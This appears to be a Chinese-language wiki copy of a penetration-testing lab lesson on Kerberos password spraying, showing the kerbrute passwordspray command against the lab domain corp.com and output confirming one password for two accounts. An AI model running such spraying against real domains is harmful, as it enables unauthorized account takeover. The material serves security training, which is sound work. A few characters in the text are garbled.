【密碼噴灑】kerbrute

我們可以獲取並緩存Kerberos TGT。我們需要提供用戶名和密碼。如果憑證有效，我們將獲取一個TGT。這種技術的優勢在於，它僅使用兩個UDP□來確定密碼是否有效，因為它僅發送AS-REQ並檢查響應。

我們可以使用Bash腳本或我們選擇的編程語言來自動化這種方法。幸運的是，我們還可以使用工具kerbrute，在其中實現這種技術以進行密碼噴灑。由於這個工具是跨平台的，我們可以在Windows和Linux上使用它。

讓我們使用C:\Tools中的Windows版本來執行這次攻擊。為了進行密碼噴灑，我們需要指定passwordspray命令以及一個用戶名列表和要噴灑的密碼。我們還需要為-d的參數輸入域corp.com。與之前一樣，我們將在C:\Tools中創建一個名為usernames.txt的文件，其中包含用戶名pete、dave和jen。

```
PS C:\Tools> type .\usernames.txt
pete
dave
jen

PS C:\Tools> .\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
```

```
PS C:\Tools> type .\usernames.txt
pete
dave
jen

PS C:\Tools> .\kerbrute_windows_amd64.exe passwordspray -d corp.com
.\usernames.txt "Nexus123!"

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 09/06/22 - Ronnie Flathers @ropnop

2022/09/06 20:30:48 >  Using KDC(s):
2022/09/06 20:30:48 >   dc1.corp.com:88
2022/09/06 20:30:48 >  [+] VALID LOGIN:  jen@corp.com:Nexus123!
2022/09/06 20:30:48 >  [+] VALID LOGIN:  pete@corp.com:Nexus123!
2022/09/06 20:30:48 >  Done! Tested 3 logins (2 successes) in 0.041 seconds
```

非常好！清單13顯示，kerbrute確認了密碼Nexus123!對pete和jen有效。

修訂版本 #1
★由 treeman 建立於 28 ﷺ 2024 20:26:33
由 treeman 更新於 8 ﷺ 2024 09:52:05